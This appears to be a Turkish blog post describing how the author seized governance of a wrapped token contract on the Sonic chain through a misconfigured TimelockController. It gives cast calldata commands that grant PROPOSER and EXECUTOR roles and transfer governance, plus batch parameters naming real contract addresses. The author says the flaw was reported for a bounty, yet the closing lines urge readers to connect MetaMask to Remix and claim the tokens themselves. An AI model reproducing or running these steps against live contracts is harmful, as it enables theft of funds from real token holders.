Ufak uyarı: Göstermiş olduğum örnek origin altyapısını kullanmakta.Öncelikle hedefimiz bu170k dolar değerinde wrapped coin bulunuyor, sonic altyapısını kullanan bu tokeni bende ilk defa zafiyet ararken buldum.Buranın içinde kod analizine girdiğimde bir açık yok ancak yönetici aktiviteleri için yönlendirme yaptığı adres çok sıkıntılı, kendi içinde tüm aktivitelerin yöneticisi olarak Governor rolü belirlenmiş ama governor rolüne atanan bir kimse yok yani isteyen ilk kişi kendisini yönetici yapabiliyordu
Bu kontratın Governor’ı 0x31a91336414d3b955e494e7d485a6b06b55fc8fb adresindeki TimelockController kontratıydı.
Orada AccessControl ile yönetilen EXECUTOR ve PROPOSER rolleri vardı, biz de role sahip olarak yönetimi ele geçirip kendimize Governor rolünü verdik.
Eğer EXECUTOR0x000…000 ise: “herkes execute edebilir” anlamına gelir (kritik yanlış konfig).minDelay == 0 ise işler çok kolay (anında schedule→execute).
cast calldata "grantRole(bytes32,address)" <PROPOSER_ROLE_HASH> 0x12dC3655fAC6388ACFe6753C0214Ecec34B87217# grantRole(EXECUTOR_ROLE, 0x000...000) (ya da kendi adresin)cast calldata "grantRole(bytes32,address)" <EXECUTOR_ROLE_HASH> 0x0000000000000000000000000000000000000000cast calldata "transferGovernance(address)" 0x12dC3655fAC6388ACFe6753C0214Ecec34B87217
3.2 batch parametrelerini kur
TARGETS='["0x31a91336414d3b955e494e7d485a6b06b55fc8fb","0x31a91336414d3b955e494e7d485a6b06b55fc8fb","0xa3c0eCA00D2B76b4d1F170b0AB3FdeA16C180186"]'VALUES='[0,0,0]'#yukarıda ürettiğin 3 calldata stringini sırayla koyDATAS='["0x<calldata1>","0x<calldata2>","0x<calldata3>"]'PREDECESSOR=0x0000000000000000000000000000000000000000000000000000000000000000SALT=0x1111111111111111111111111111111111111111111111111111111111111111DELAY=0 # (getMinDelay 0 değilse, o değeri kullan; 0 ise direkt yürür)
Tüm bu adımlardan sonra Governance rolünü ele geçirmiş oldum yani 170k dolar değerindeki tokeni istediğim heryere sürebiliyordum. İçimde ki Allah korkusu ve iyi niyet bastı, gidip bu açığı raporladım. ücreti mukabilinde bir ödeme aldım sağolsunlar.
https://remix.ethereum.org/ kendi metamask hesabınla giriş yap, 3 4 dolar birşey attım içine denemek için, burdada aynı adresi yokladığımda bu adrese hiçbir allahın kulu konmamıştı, yani gene gene gene istediğim adrese istediğim şekilde tokeni yollayabiliyodum.aşşağıda vericeğim kodları tek tek contract kısmına girerekte claim yapabilirsin. ama metamask hesabına sonic alt yapısını kurman ve içerisinde min 3 dolar tutman lazım yoksa ağ çalışmaz, çalışınca böyle bir ekran alırsın sağ alttaOkuduğunuz için teşekkürler. Aşağıya exploit kodlarını bıraktım. Bunları incelersiniz bi.VAULTCORE.SOL